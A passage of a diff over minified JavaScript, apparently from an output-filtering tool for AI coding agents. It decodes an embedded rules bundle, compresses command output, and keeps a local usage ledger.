Yr9our9bsLbrGI5eN5p9Gyx24ykTZHTQ4n66h2fWohCtJkMzTFswiw9cPmcWhvf5KeV8pcuzMX_MhGcBc9k8Gdo9NXVSemIF8M7v9VXpMuhh30VUWDbfkBwITKYO8f86DqBdCSGm8MkPrPmTxNbtNopneM7bLOJX-q_gxKKJEKdjHiXXBoXJDZLlwvEpaf16RtverOSvTe6m_qWzEZDV1ZlMPoU6GIC4hAG3DmVIFTHbbd8gIq0KJBIZGmrNx0Xij0n8XsQ0vE9_-B3v8rFM-0ecRe6a9ofVOgnMfwzXPh7TRqZmi51AVvEvAODb3wsEE2_TFLQpUOFqyZEFae-AghYN0t2EGspeU8Fa0ZQdmGV28fl5Sp6PEnfKdPGIwReVIXG76kFZdPLid148VbNPGS-12dXxL7q4DsHWaCrIGUqLxCSPJBphtyPQuHILdmLSDJTfux9R8wjfbVB9seQPyxQf1tDFrIH80EEMzz0amee425QnJ-q7OQI-A1giCjmsD5xGXYqESpT3JO4S8wOllFI5l6EUfxK4b3YEqmSmZJCnlDLlK8N3B4GUENWOMV5c5mq9_6YSkVwlns-oCtHM_KRSKDFLvwMPM2evqXfyYfVh12AN51Oy1fjVR2nRDhjZv6j6Lk-jgbreVqvGfz5c8JJpBE8oLAzRIk0hVehpkUrG2Cm49Exw62fDUnUKT5jemDuSKYOxLQLpS-MnqNNwoq0UpqRydrTRDUbmnqeDIQzjayxUvomrHuz9sfBp3rP2UMQm35dDKOwkkdDkryv_c23jPu7AeRQzm5ZtvNBzY0rzS6WeEBKQJ5sM-RZDaflCn0gM9pvLf9_IcDbKdupfaBr4-iTUhgvip2zdxkVntEOTvClqZmx_kKlfZdlYAtUhKMpoLWHFbZa5HnNtTID4m8sQnMjnyvlwi4I7bKNPbxW5W1vzN_zMmGT1yvSCVumkUW-K-DeytbVbOvh2pNe4xn9l4LvGKRu_MbObrgAY39tqZ7bEUik7f9pu-Y8KHUmqP9kfX-nPWh9pAB1V904KD9YbWOtVlmvfm0N61vtEovq-13cumIHepvKhe2wxNEww85jK8yDAqTSrIcVgK_fbzovk8vQJVpVDIALj4MRbbpxVXDnZrL_DOR4nI1zxKe5MC7nBSRgdtblu2VImdd8bjzIeXVEE9R5thnWjBvlWx6wEf6AEzq-zjx4bUhDXirLPX8xZMrcVCZY2oiaKikBYjzf1jhQr4xlLqt05Qm95r2bp0AMo75a4x5PhCcAcxE1ma_WEMMN-iY3DqoKE0LcP_r_qGR0-YVzDfsXo1RUW3TZPusiaIHP0_6CcK6W8smiyqHbjsyAz9c1ADtlohmHL_TvoL4J82Zc6nV4aEmO_OLwrWpE3VZ8yI594-drBAT1ncElCUOYT_MLxXqpSYnYKF77dwdvIzp4DiYumok1wY5al_shpyCqIhoj8NtIBsOBPS6-DDQ2gTao_ZZlr2VNvAHKP-xzQ13pRriSrjd5GEuYjmbJuyWUp2H12y2HHeFjgw0QvVRx3lDw3ogLEIaQUWEAfWqSR2PrzWa7nlrCTlQjnxpOvtxswXuSuojI81GHvCAZLqmckG4rbZfERJel4BpFE47PUoHPqbTeVSPmNt-OyPdQVnJeDQK9MYuf4oK3zBXDVhEnsFuXNGWlp2yNuJwwrhOOCHdiJSs5UGR5ZRXbdlTFErVe-CKa5_Z7Jeq4UlWSWiCirHTbLSHCBtxH4msEOlEsTleSd2BG16EaUqWL8cGTbVc2Ip_-gCdXRgwNowz6lvW4qORNuUVGleXXsxssAoe_lgWqJAzoBYBUn6vQf9B-LoxdornPFtFUA_TrcouRX7bqOyqIrbze-KcpEkhC-AhVbGNecxCejQiyRBWmAWasrluWNzZN6ASxX-H9gh8Bxlj3W7MWtOG5FROUjmh5h6Ue7KN8rmTQ9Mg7c9ETtx725LymhWrIzXSr5UUKbrG4hTFfi3-HnazwthBh8fs29PguNyMRtp1IS5FFR5ZPL-O0qfFGXHYSVRJyg9KNExNK1QdpNU3thEK1eV6IU2WzIiCpHLKqXGQqTUPIJ99Yrq54lTwW9ywCpqMDl0NlIqh7j_01NH1nWWjMFaxzIPxoGfnZ77aMBoIKzIB_3z8uvKhsY25oNST77eoac__ixlbPs0E39EPal0XGUzrn-WXpWhdVKAWGeS0kYKcZloMijqTZGPgyiH2z1Ji_FLuVcZO871lg8VowFhwM8YjfQdEy2P2aU8kQQa4v87VbQVUq0YI9iqE4jIt3XsXsT9C9Kfj82W2VO7XoxMTAwozObG1arE1dEjokCeGXchwIhAZKNbC8KqooBeFewBKBleh6MJCSvrwxdCCcWqxNn8J441P4-ihU_KbIiHtKqe9HrwVNrRZyCHjC-oYxkW8rhZR8efWrNhpC3Fpv2vA96uRNGh_4o94PJy6XXclI1lQ6MuJoIsCYyPc70wsHq5DEEGF51h7qvgWiETxnaIAdM4SNCF_vz5mkBE6k2P5Joh6PAx0nGYI9anVVIrtJU1939c8N4L-_4DV1XrOtaDjEr9Hu5VzHQm631sOqlaVimlX4AG72h5MJGoBCtguTpsfEeOpxjr8IlZXYe3QIFcTjKfJTT0Atx82rVp7LqkzB1P_gIfpsJQdrel4T44JucAn3hllayMxVdDyPCVUFcT7EajPLJxvxgbkXscU9_AuOkh9SilEJ7izfWyK5RMZPH8wxfyqFKsbL_1eU1W89_8AEzDwor1fQIn12GeKR9xfON2utcCvQaNSDXJtJiiUF4oZiqUWYKVqbyu9FtbeBrlp56MRJjPd0YUbpUJE3ddDfjToTZbbm3SuwnrHXIWy2i4K8hsLfwCXqi2kq1hXOhGqln9NRNBR7AJ_xr2nHddzT5MKS_6BdP2sxxOhprb3deYkedYTdFB4ORzWFwmqXy47iZceMHqwXrRjWOlW28Uxa862Y2u_4cXVL-ZWco0MDmKoj6NkOURBSOF6lgBBZf72RFVAyq9Q78ABjAsbKAglkkhu2m6SP_cGU0PmWAgiREOnQHHJHtkCIG1GKOzS2XqH4rUklx77QV3xVjbbptpsFYm-kGbgFz_12buMQ0teZdo8WTeghoJmF6ASg7Al56S47veqTmgifFsS2HHDTtBlQmd-vhqfxw667z0iVU0hIri-UJy0Nv_kxpgzxKHMCcMzdFT0weA40_fe5TsYY-NWOdP8axacLACCYV4dFle6HpNoicJTjZ3NuH5ZFxsyf8OA1eO05KAw5O30WBnMuVpViyRvWqnbnlQaCKh2cRJ1dpqgOGKBbd28ISNdlIp5asfAxXtHWMfs9XTnOt5kGOIv-FDhI57JoAqpp8Y5SWWBzS_dhHjmgJaWfHEXtyGpKGiHu07jtGB4inHhOSfIMrAw4RlODUe3fb5ZjvyEh5w1TP5NKtrK_6sp14GdECrXSQbUPY2aWefJigvBVdodzcLDhro6Lf0qcyFNj3oE63-mLvAlB5ombvCOSqr4Lh8pTcMiN4DP_NpX7MGAZOocRnlK1Tva_Nbx4ByXUhLs4hlDDPIKhM0eVHg04Clc9dTxXa33EOsgVUPXh7IiLiIluc52ivMz2N2JuwWuGbsr57rKrG1jVfD1OtgjbpMWUuNxSUc8Pyp-cIxvWbKGZuB23xqJAE2jc-nZ5GOGDg8UMx83x3nlrH1TX5M1pSERkeYDjKJbdU_HwQkYwOLLw86WJFuYy1mTzjcl4-dbO9Z_rry40hS2JSpK5zCMMwhjcY_YvOlHr1nsSdyKHpia3F2KCXQKWfnExgT2c5hnBUr9fOoKyDn_3yewhcIrNMEOPucTE5AqSxrvKGC7x4J3WR7dBDLkBG1W4yTtzbR4dVoiOg_nTOgsbNC1FFevyZcH8K6AAegZ3QvKto5lzC8--0bm7OJlM8ceANGmRVk5ucYx-V86BqSep25Nz4EA";if(!e)return null;if(Go&&Go.sealed===e)return Go;let t=null;try{t=va.parse(JSON.parse(gs(e,wC)))}catch{t=null}return Go={sealed:e,bundle:t},Go}function kn(){let e=Ck();if(!e?.bundle)return null;if(e.runtime===void 0){let t=Date.now();try{e.runtime=Ra(e.bundle,{signedAt:t,fetchedAt:t})}catch{e.runtime=null}}return e.runtime}function SC(){let e=Ck();return e?.bundle?(e.keys??=new Set(e.bundle.filters.map(t=>fe(t.slug))),e.keys):null}function kr(e,t=!1){if(t||!e||e.length===0){let n=SC();return n?new Set(n):null}return new Set(e.map(n=>_C.test(n)?n:fe(n)))}var wC,_C,Go,br=y(()=>{"use strict";xa();ft();Nn();wC="tokmizer-default-rules-v1",_C=/^[0-9a-f]{16}$/,Go=null});function eu(e){Ok=e}async function xC(e,t){let n=await nk();if(n.size>0)return On(e,n.values(),t,n);let r=kn();return r?r.selectFor(e,"free",t?[...t]:void 0):null}function AC(e,t,n){let r=Ai(e,{...t,keep_failures:!0,fold_passing:!1,mask_abs_paths:!1,transform:void 0,truncate_lines_at:void 0,max_lines:void 0,on_empty:void 0},{verbosity:"normal",smartCode:!1});if(r.trim().length===0)return st(e);if(n!=="compact"&&n!=="minimal")return r;let o=r.endsWith(`
145
151
  `)?`
146
- `:"";return xi((o?r.slice(0,-1):r).split(`
152
+ `:"";return Ti((o?r.slice(0,-1):r).split(`
147
153
  `)).join(`
148
- `)+o}async function wr(e,t,n,r={}){let o=Buffer.byteLength(t,"utf8"),{exitCode:s,yolo:i=!1,resolver:a,...l}=r,c=bt(Zy(e.startsWith("bash-tool: ")?e.slice(11):e)),u=s!=null&&s!==0&&!(s===1&&z1.test(Zc(c)??c)),f=Uh(a??hk??B1),d=null;for(let O of Ky(e))if(d=await f(O,n),d)break;!d&&o>=U1&&!Gc.test(e)&&(d=await f(`bash-tool: ${e}`,n));let p=Jo(e.startsWith("bash-tool: ")?e.slice(11):e),g=d?.slug==="git-log"&&p!=null&&/^git\s+log(?:\s|$)/.test(bt(p)),h=s==null&&(g?/^(?:fatal|error):/im.test(ot(t)):Uy(t)),m=d?.transform==="smart-read"&&o<=2048&&(t.endsWith(`
154
+ `)+o}async function wr(e,t,n,r={}){let o=Buffer.byteLength(t,"utf8"),{exitCode:s,yolo:i=!1,resolver:a,...l}=r,c=wt(ak(e.startsWith("bash-tool: ")?e.slice(11):e)),u=s!=null&&s!==0&&!(s===1&&EC.test(Wc(c)??c)),f=ey(a??Ok??xC),d=null;for(let P of lk(e))if(d=await f(P,n),d)break;!d&&o>=vC&&!Kc.test(e)&&(d=await f(`bash-tool: ${e}`,n));let m=Jo(e.startsWith("bash-tool: ")?e.slice(11):e),g=d?.slug==="git-log"&&m!=null&&/^git\s+log(?:\s|$)/.test(wt(m)),h=s==null&&(g?/^(?:fatal|error):/im.test(st(t)):ok(t)),p=d?.transform==="smart-read"&&o<=2048&&(t.endsWith(`
149
155
  `)?t.slice(0,-1):t).split(`
150
- `).length<=60,_=o<=16384&&p!=null&&/^(?:head|tail)(?:\s|$)|^sed\s+(?:(?:-[Eru]+|--(?:regexp-extended|unbuffered|sandbox))\s+)*(?:-[Enruse]*n[Enruse]*(?:\s|$)|--(?:quiet|silent)(?:\s|$))/.test(bt(p)),S=d?.transform==="smart-read"&&o<=16384&&(l.verbosity??"normal")==="normal"&&l.smartCode!==!0,E=d?.slug==="read-tool"&&o<G1;if(!i&&(S||E||_||m&&l.smartCode!==!0))return{output:t,filterId:d?.slug??null,rawBytes:o,filteredBytes:o,debugBypass:u||h,droppedTail:null};if(!i&&d&&!d.preserve_exact&&(u||h)&&uk.test(c)){let O=pk(t,l.verbosity??"normal"),G=O===null?o:Buffer.byteLength(O,"utf8");if(O!==null&&G<o)return{output:O,filterId:d.slug,rawBytes:o,filteredBytes:G,debugBypass:!0,droppedTail:t,failureSummary:!0}}if(!d||(u||h)&&d.preserve_exact&&!i)return{output:t,filterId:null,rawBytes:o,filteredBytes:o,debugBypass:u||h,...i?{droppedTail:null}:{}};let R=O=>{if(!i)return O.output!==t&&!O.droppedTail?{...O,droppedTail:t}:O;let G=O.filteredBytes>o||o>0&&O.output.length===0?t:O.output,U=!O.debugBypass&&!d?.preserve_exact?qc(G,"minimal",O.filterId??""):G,J=Wc(U)===U?U:Wc(G);return{...O,output:J,filteredBytes:Buffer.byteLength(J,"utf8"),droppedTail:null}};if(d.slug==="tsc"&&!u&&!h&&!ok(e)){let O=sk(t);if(O!==null)return R({output:O,filterId:d.slug,rawBytes:o,filteredBytes:Buffer.byteLength(O,"utf8"),debugBypass:!1,droppedTail:null})}if(u||h){let O=i?Ei(t,{...d,keep_failures:!0,transform:void 0,max_lines:void 0,truncate_lines_at:void 0,on_empty:void 0},{verbosity:"minimal",smartCode:!1}):d.strip_on_failure&&!d.preserve_exact?Z1(t,d,l.verbosity):d.strip_ansi&&!d.preserve_exact?ot(t):t;!i&&d.transform&&d.transform_on_failure&&!d.preserve_exact&&(O=wc(d.transform,O.split(`
156
+ `).length<=60,w=o<=16384&&m!=null&&/^(?:head|tail)(?:\s|$)|^sed\s+(?:(?:-[Eru]+|--(?:regexp-extended|unbuffered|sandbox))\s+)*(?:-[Enruse]*n[Enruse]*(?:\s|$)|--(?:quiet|silent)(?:\s|$))/.test(wt(m)),S=d?.transform==="smart-read"&&o<=16384&&(l.verbosity??"normal")==="normal"&&l.smartCode!==!0,x=d?.slug==="read-tool"&&o<RC;if(!i&&(S||x||w||p&&l.smartCode!==!0))return{output:t,filterId:d?.slug??null,rawBytes:o,filteredBytes:o,debugBypass:u||h,droppedTail:null};if(!i&&d&&!d.preserve_exact&&(u||h)&&vk.test(c)){let P=Ak(t,l.verbosity??"normal"),G=P===null?o:Buffer.byteLength(P,"utf8");if(P!==null&&G<o)return{output:P,filterId:d.slug,rawBytes:o,filteredBytes:G,debugBypass:!0,droppedTail:t,failureSummary:!0}}if(!d||(u||h)&&d.preserve_exact&&!i)return{output:t,filterId:null,rawBytes:o,filteredBytes:o,debugBypass:u||h,...i?{droppedTail:null}:{}};let T=P=>{if(!i)return P.output!==t&&!P.droppedTail?{...P,droppedTail:t}:P;let G=P.filteredBytes>o||o>0&&P.output.length===0?t:P.output,B=!P.debugBypass&&!d?.preserve_exact?Xc(G,"minimal",P.filterId??""):G,J=qc(B)===B?B:qc(G);return{...P,output:J,filteredBytes:Buffer.byteLength(J,"utf8"),droppedTail:null}};if(d.slug==="tsc"&&!u&&!h&&!bk(e)){let P=wk(t);if(P!==null)return T({output:P,filterId:d.slug,rawBytes:o,filteredBytes:Buffer.byteLength(P,"utf8"),debugBypass:!1,droppedTail:null})}if(u||h){let P=i?Ai(t,{...d,keep_failures:!0,transform:void 0,max_lines:void 0,truncate_lines_at:void 0,on_empty:void 0},{verbosity:"minimal",smartCode:!1}):d.strip_on_failure&&!d.preserve_exact?AC(t,d,l.verbosity):d.strip_ansi&&!d.preserve_exact?st(t):t;!i&&d.transform&&d.transform_on_failure&&!d.preserve_exact&&(P=Pc(d.transform,P.split(`
151
157
  `),e).join(`
152
- `)),!i&&l.verbosity==="minimal"&&d.transform!=="smart-read"&&(O=nk(O)),!i&&d.slug==="pytest"&&(l.verbosity==="compact"||l.verbosity==="minimal")&&/^={3,} test session starts ={3,}\r?$/m.test(O)&&/^={3,} FAILURES ={3,}\r?$/m.test(O)&&(O=O.replace(/^([=_])\1{2,} (.+?) \1{3,}(\r?)$/gm,"$2$3"));let G=!i&&!d.preserve_exact&&o>=J1?Zg(O.split(`
158
+ `)),!i&&l.verbosity==="minimal"&&d.transform!=="smart-read"&&(P=yk(P)),!i&&d.slug==="pytest"&&(l.verbosity==="compact"||l.verbosity==="minimal")&&/^={3,} test session starts ={3,}\r?$/m.test(P)&&/^={3,} FAILURES ={3,}\r?$/m.test(P)&&(P=P.replace(/^([=_])\1{2,} (.+?) \1{3,}(\r?)$/gm,"$2$3"));let G=!i&&!d.preserve_exact&&o>=TC?mh(P.split(`
153
159
  `)).join(`
154
- `):O,U=G.length<O.length;return R({output:G,filterId:d.slug,rawBytes:o,filteredBytes:Buffer.byteLength(G,"utf8"),debugBypass:!0,...U?{droppedTail:t}:{}})}let I={...l,cmd:e,exitCode:s},{text:A,droppedTail:$}=_c(t,d,i?{...I,verbosity:"minimal",...d.transform==="smart-read"?{smartCode:!0}:{}}:I),D=!i&&!d.preserve_exact?qc(A,l.verbosity,d.slug):A,_e=d.on_empty&&D===d.on_empty&&!D.endsWith(`
155
- `)?`${D}
156
- `:D,me=Buffer.byteLength(_e,"utf8"),Q=_e.trim().length===0&&t.trim().length>0&&(s!=null&&s!==0||bc(e));return t.trim().length>0&&(me>=o||Q)?R({output:t,filterId:d.slug,rawBytes:o,filteredBytes:o,debugBypass:!1,droppedTail:null}):R({output:_e,filterId:d.slug,rawBytes:o,filteredBytes:me,debugBypass:!1,droppedTail:$})}var hk,z1,U1,J1,G1,Fi=y(()=>{"use strict";zy();ds();Nc();Sc();Jy();Kc();Vy();Io();vi();tk();rk();vi();ik();mk();br();hk=null;z1=/^(?:grep|rg|find|eslint|ruff|flake8|mypy|prettier|biome|black|stylelint)(?:\s|$)|^git\s+(?:diff|grep)\b/,U1=2048,J1=8192,G1=32*1024});function yk(e){return e?K1[e]??"anthropic":"anthropic"}var K1,kk=y(()=>{"use strict";K1={"claude-code":"anthropic",codex:"openai",copilot:"openai","gemini-cli":"google",cursor:"anthropic",windsurf:"anthropic",cline:"anthropic",aider:"anthropic",shell:"anthropic"}});import{appendFileSync as W1,chmodSync as V1,mkdirSync as q1,readFileSync as xk,realpathSync as Y1,renameSync as vk,rmSync as Ek,statSync as Tk,writeFileSync as Qc}from"node:fs";import{basename as bk,dirname as Rk,join as Li,resolve as X1,sep as yJ}from"node:path";function Ak(){return{n:0,nc:0,r:0,f:0,or:0,of:0,x:0,sn:0,sr:0,sf:0,mr:0,mf:0,rn:0,rb:0,tn:0,tr:0,tf:0,ox:0,t0:null,t1:null,cmds:{},prov:{},rl:{},fb:{}}}function sC(e){let t=e.trim();if(!t)return null;try{let n=JSON.parse(t);return typeof n.t!="number"||!Number.isFinite(n.t)||n.t<0||n.t>864e10||typeof n.r!="number"||!Number.isSafeInteger(n.r)||n.r<0||typeof n.f!="number"||!Number.isSafeInteger(n.f)||n.f<0||n.r+n.f===0?null:{t:n.t,r:n.r,f:n.f,m:n.m===1,...typeof n.h=="string"?{h:n.h}:{},...typeof n.k=="string"?{k:n.k}:{},...typeof n.c=="string"&&n.c?{c:n.c}:{},...typeof n.p=="string"&&n.p?{p:n.p}:{},...typeof n.s=="string"&&n.s?{s:n.s}:{},...typeof n.o=="string"&&rC.has(n.o)?{o:n.o}:{}}}catch{return null}}function iC(e,t){if(!t.c)return;let n=e.cmds[t.c]??{n:0,nc:0,r:0,f:0,sh:!1};n.n+=1,t.f<t.r&&(n.nc+=1,n.rr=(n.rr??0)+t.r,n.rf=(n.rf??0)+t.f),(t.k==="sh"||t.k==="restore")&&(n.sh=!0),t.h==="shell"&&t.k!=="restore"&&(n.tn=(n.tn??0)+1,n.tr=(n.tr??0)+t.r,n.tf=(n.tf??0)+t.f,t.f<t.r&&(n.tnc=(n.tnc??0)+1,n.trr=(n.trr??0)+t.r,n.trf=(n.trf??0)+t.f)),n.r+=t.r,n.f+=t.f,e.cmds[t.c]=n}function aC(e){return e.s==="b"?`b:${(e.c??"").split(" ")[0]||"other"}`:e.s?.startsWith("u:")?e.s:e.o==="n"?"n":"?"}function lC(e,t){let n=aC(t),r=e.rl[n]??{n:0,nc:0,r:0,f:0};if(r.n+=1,r.r+=t.r,r.f+=t.f,t.f<t.r&&(r.nc+=1),e.rl[n]=r,t.f>=t.r&&t.o){let o=`${t.o} ${t.c??""}`,s=e.fb[o]??{n:0,r:0};s.n+=1,s.r+=t.r,e.fb[o]=s}}function cC(e,t){if(t.m){e.mr+=t.r,e.mf+=t.f;return}if(e.t0=e.t0==null?t.t:Math.min(e.t0,t.t),e.t1=e.t1==null?t.t:Math.max(e.t1,t.t),t.k==="sh"&&t.r>nC){e.ox+=1;return}if(iC(e,t),t.k==="restore"?(e.rn+=1,e.rb+=t.f):lC(e,t),e.n+=1,e.or+=t.r,e.of+=t.f,t.f>t.r&&(e.x+=1),t.h==="shell"&&t.k!=="restore"&&(e.tn+=1,e.tr+=t.r,e.tf+=t.f),t.f<t.r){e.nc+=1,e.r+=t.r,e.f+=t.f,t.k==="sh"&&(e.sn+=1,e.sr+=t.r,e.sf+=t.f);let n=yk(t.h),r=e.prov[n]??{r:0,f:0};r.r+=t.r,r.f+=t.f,e.prov[n]=r}}function uC(e){let t=new Date(e*1e3);return`${t.getFullYear()}-${String(t.getMonth()+1).padStart(2,"0")}-${String(t.getDate()).padStart(2,"0")}`}function $k(e){return Li(Rk(e),eC)}function fC(e){let t=$k(e),n;try{n=xk(t,"utf8")}catch{return{}}try{let r=JSON.parse(n);if(!r.days||typeof r.days!="object")throw new Error("invalid ledger");let o={};for(let[s,i]of Object.entries(r.days))!/^\d{4}-\d{2}-\d{2}$/.test(s)||!i||typeof i!="object"||(o[s]={...Ak(),...i});return o}catch{try{vk(t,`${t}.corrupt-${Date.now()}`)}catch{}return{}}}function _k(e,t){let n=`${e}.tmp-${process.pid}`;Qc(n,t,{mode:384}),vk(n,e)}function dC(e){try{return Qc(e,String(process.pid),{flag:"wx",mode:384}),!0}catch{}try{return Date.now()-Tk(e).mtimeMs<tC?!1:(Ek(e,{force:!0}),Qc(e,String(process.pid),{flag:"wx",mode:384}),!0)}catch{return!1}}function pC(e,t=wk,n=wk/2){try{if(Tk(e).size<=t)return}catch{return}let r=`${e}.lock`;if(dC(r))try{let o=xk(e,"utf8").split(`
157
- `).filter(c=>c.trim()!==""),s=o.length,i=0;for(;s>0;){let c=Buffer.byteLength(o[s-1])+1;if(i+c>n)break;i+=c,s-=1}let a=fC(e);for(let c of o.slice(0,s)){let u=sC(c);if(!u)continue;let f=uC(u.t),d=a[f]??Ak();cC(d,u),a[f]=d}let l=o.slice(s);_k(e,l.length?`${l.join(`
160
+ `):P,B=G.length<P.length;return T({output:G,filterId:d.slug,rawBytes:o,filteredBytes:Buffer.byteLength(G,"utf8"),debugBypass:!0,...B?{droppedTail:t}:{}})}let A={...l,cmd:e,exitCode:s},{text:M,droppedTail:I}=Nc(t,d,i?{...A,verbosity:"minimal",...d.transform==="smart-read"?{smartCode:!0}:{}}:A),H=!i&&!d.preserve_exact?Xc(M,l.verbosity,d.slug):M,Y=d.on_empty&&H===d.on_empty&&!H.endsWith(`
161
+ `)?`${H}
162
+ `:H,ge=Buffer.byteLength(Y,"utf8"),te=Y.trim().length===0&&t.trim().length>0&&(s!=null&&s!==0||Ic(e));return t.trim().length>0&&(ge>=o||te)?T({output:t,filterId:d.slug,rawBytes:o,filteredBytes:o,debugBypass:!1,droppedTail:null}):T({output:Y,filterId:d.slug,rawBytes:o,filteredBytes:ge,debugBypass:!1,droppedTail:I})}var Ok,EC,vC,TC,RC,Di=y(()=>{"use strict";rk();ms();Dc();Mc();sk();Vc();uk();Fo();Ri();hk();kk();Ri();_k();$k();br();Ok=null;EC=/^(?:grep|rg|find|eslint|ruff|flake8|mypy|prettier|biome|black|stylelint)(?:\s|$)|^git\s+(?:diff|grep)\b/,vC=2048,TC=8192,RC=32*1024});function $C(){let e=Number(process.env.TOKMIZER_OFFLINE_GRACE_MS);return Number.isFinite(e)&&e>0?e:6048e5}function Fi(e,t=Date.now()){let n=e.lastHeartbeatOkAt;return typeof n=="number"&&t-n>$C()}var tu=y(()=>{"use strict"});function Ik(e){return e?CC[e]??"anthropic":"anthropic"}var CC,Pk=y(()=>{"use strict";CC={"claude-code":"anthropic",codex:"openai",copilot:"openai","gemini-cli":"google",cursor:"anthropic",windsurf:"anthropic",cline:"anthropic",aider:"anthropic",shell:"anthropic"}});import{appendFileSync as OC,chmodSync as IC,mkdirSync as PC,readFileSync as Lk,realpathSync as NC,renameSync as Hk,rmSync as jk,statSync as Bk,writeFileSync as nu}from"node:fs";import{basename as Nk,dirname as zk,join as Li,resolve as MC,sep as p4}from"node:path";function Uk(){return{n:0,nc:0,r:0,f:0,or:0,of:0,x:0,sn:0,sr:0,sf:0,mr:0,mf:0,rn:0,rb:0,tn:0,tr:0,tf:0,ox:0,t0:null,t1:null,cmds:{},prov:{},rl:{},fb:{}}}function zC(e){let t=e.trim();if(!t)return null;try{let n=JSON.parse(t);return typeof n.t!="number"||!Number.isFinite(n.t)||n.t<0||n.t>864e10||typeof n.r!="number"||!Number.isSafeInteger(n.r)||n.r<0||typeof n.f!="number"||!Number.isSafeInteger(n.f)||n.f<0||n.r+n.f===0?null:{t:n.t,r:n.r,f:n.f,m:n.m===1,...typeof n.h=="string"?{h:n.h}:{},...typeof n.k=="string"?{k:n.k}:{},...typeof n.c=="string"&&n.c?{c:n.c}:{},...typeof n.p=="string"&&n.p?{p:n.p}:{},...typeof n.s=="string"&&n.s?{s:n.s}:{},...typeof n.o=="string"&&jC.has(n.o)?{o:n.o}:{}}}catch{return null}}function UC(e,t){if(!t.c)return;let n=e.cmds[t.c]??{n:0,nc:0,r:0,f:0,sh:!1};n.n+=1,t.f<t.r&&(n.nc+=1,n.rr=(n.rr??0)+t.r,n.rf=(n.rf??0)+t.f),(t.k==="sh"||t.k==="restore")&&(n.sh=!0),t.h==="shell"&&t.k!=="restore"&&(n.tn=(n.tn??0)+1,n.tr=(n.tr??0)+t.r,n.tf=(n.tf??0)+t.f,t.f<t.r&&(n.tnc=(n.tnc??0)+1,n.trr=(n.trr??0)+t.r,n.trf=(n.trf??0)+t.f)),n.r+=t.r,n.f+=t.f,e.cmds[t.c]=n}function JC(e){return e.s==="b"?`b:${(e.c??"").split(" ")[0]||"other"}`:e.s?.startsWith("u:")?e.s:e.o==="n"?"n":"?"}function GC(e,t){let n=JC(t),r=e.rl[n]??{n:0,nc:0,r:0,f:0};if(r.n+=1,r.r+=t.r,r.f+=t.f,t.f<t.r&&(r.nc+=1),e.rl[n]=r,t.f>=t.r&&t.o){let o=`${t.o} ${t.c??""}`,s=e.fb[o]??{n:0,r:0};s.n+=1,s.r+=t.r,e.fb[o]=s}}function ZC(e,t){if(t.m){e.mr+=t.r,e.mf+=t.f;return}if(e.t0=e.t0==null?t.t:Math.min(e.t0,t.t),e.t1=e.t1==null?t.t:Math.max(e.t1,t.t),t.k==="sh"&&t.r>HC){e.ox+=1;return}if(UC(e,t),t.k==="restore"?(e.rn+=1,e.rb+=t.f):GC(e,t),e.n+=1,e.or+=t.r,e.of+=t.f,t.f>t.r&&(e.x+=1),t.h==="shell"&&t.k!=="restore"&&(e.tn+=1,e.tr+=t.r,e.tf+=t.f),t.f<t.r){e.nc+=1,e.r+=t.r,e.f+=t.f,t.k==="sh"&&(e.sn+=1,e.sr+=t.r,e.sf+=t.f);let n=Ik(t.h),r=e.prov[n]??{r:0,f:0};r.r+=t.r,r.f+=t.f,e.prov[n]=r}}function KC(e){let t=new Date(e*1e3);return`${t.getFullYear()}-${String(t.getMonth()+1).padStart(2,"0")}-${String(t.getDate()).padStart(2,"0")}`}function Jk(e){return Li(zk(e),FC)}function WC(e){let t=Jk(e),n;try{n=Lk(t,"utf8")}catch{return{}}try{let r=JSON.parse(n);if(!r.days||typeof r.days!="object")throw new Error("invalid ledger");let o={};for(let[s,i]of Object.entries(r.days))!/^\d{4}-\d{2}-\d{2}$/.test(s)||!i||typeof i!="object"||(o[s]={...Uk(),...i});return o}catch{try{Hk(t,`${t}.corrupt-${Date.now()}`)}catch{}return{}}}function Dk(e,t){let n=`${e}.tmp-${process.pid}`;nu(n,t,{mode:384}),Hk(n,e)}function VC(e){try{return nu(e,String(process.pid),{flag:"wx",mode:384}),!0}catch{}try{return Date.now()-Bk(e).mtimeMs<LC?!1:(jk(e,{force:!0}),nu(e,String(process.pid),{flag:"wx",mode:384}),!0)}catch{return!1}}function qC(e,t=Mk,n=Mk/2){try{if(Bk(e).size<=t)return}catch{return}let r=`${e}.lock`;if(VC(r))try{let o=Lk(e,"utf8").split(`
163
+ `).filter(c=>c.trim()!==""),s=o.length,i=0;for(;s>0;){let c=Buffer.byteLength(o[s-1])+1;if(i+c>n)break;i+=c,s-=1}let a=WC(e);for(let c of o.slice(0,s)){let u=zC(c);if(!u)continue;let f=KC(u.t),d=a[f]??Uk();ZC(d,u),a[f]=d}let l=o.slice(s);Dk(e,l.length?`${l.join(`
158
164
  `)}
159
- `:""),_k($k(e),JSON.stringify({v:1,days:a}))}catch{return}finally{Ek(r,{force:!0})}}function mC(e){let t=X1(e),n=t,r="";for(;;){try{return Li(Y1(n),r)}catch{}let o=Rk(n);if(o===n)return t;r=r?Li(bk(n),r):bk(n),n=o}}function Sk(e){return e.length===0||e[0]==="cd"||e.every(t=>Ck.test(t))}function bC(e){let t=[],n="",r=!1,o=null,s=()=>{r&&t.push(n),n="",r=!1};for(let i of e){if(o){i===o?o=null:n+=i;continue}if(i==="'"||i==='"'){o=i,r=!0;continue}if(i===" "||i===" "){s();continue}if(`|;&<>
160
- `.includes(i)){if(s(),Sk(t)){t=[];continue}return t}n+=i,r=!0}return s(),Sk(t)?[]:t}function yn(e){let t=bC(e).map(a=>a.replace(/^[({]+/,"")).filter(Boolean),n=0;for(;n<t.length;){let a=t[n];if(Ck.test(a)){n+=1;continue}if(gC.has(a)){for(n+=1;n<t.length;){let l=t[n];if(l.startsWith("-")){n+=hC.has(l)?2:1;continue}if(/^\d+(?:\.\d+)?[smhd]?$/.test(l)){n+=1;continue}break}continue}break}if(n>=t.length)return"";let r=t[n],o=r.includes("/")?r.slice(r.lastIndexOf("/")+1):r,s=t[n+1];return(s&&!s.startsWith("-")&&yC.test(s)&&kC.has(o.toLowerCase())?`${o} ${s}`:o).slice(0,24)}function wC(){return Li(b(),Q1)}function Hi(e,t,n=wC(),r=!1,o,s,i,a,l={}){if(!Number.isSafeInteger(e)||!Number.isSafeInteger(t)||e<0||t<0||e+t===0)return;let 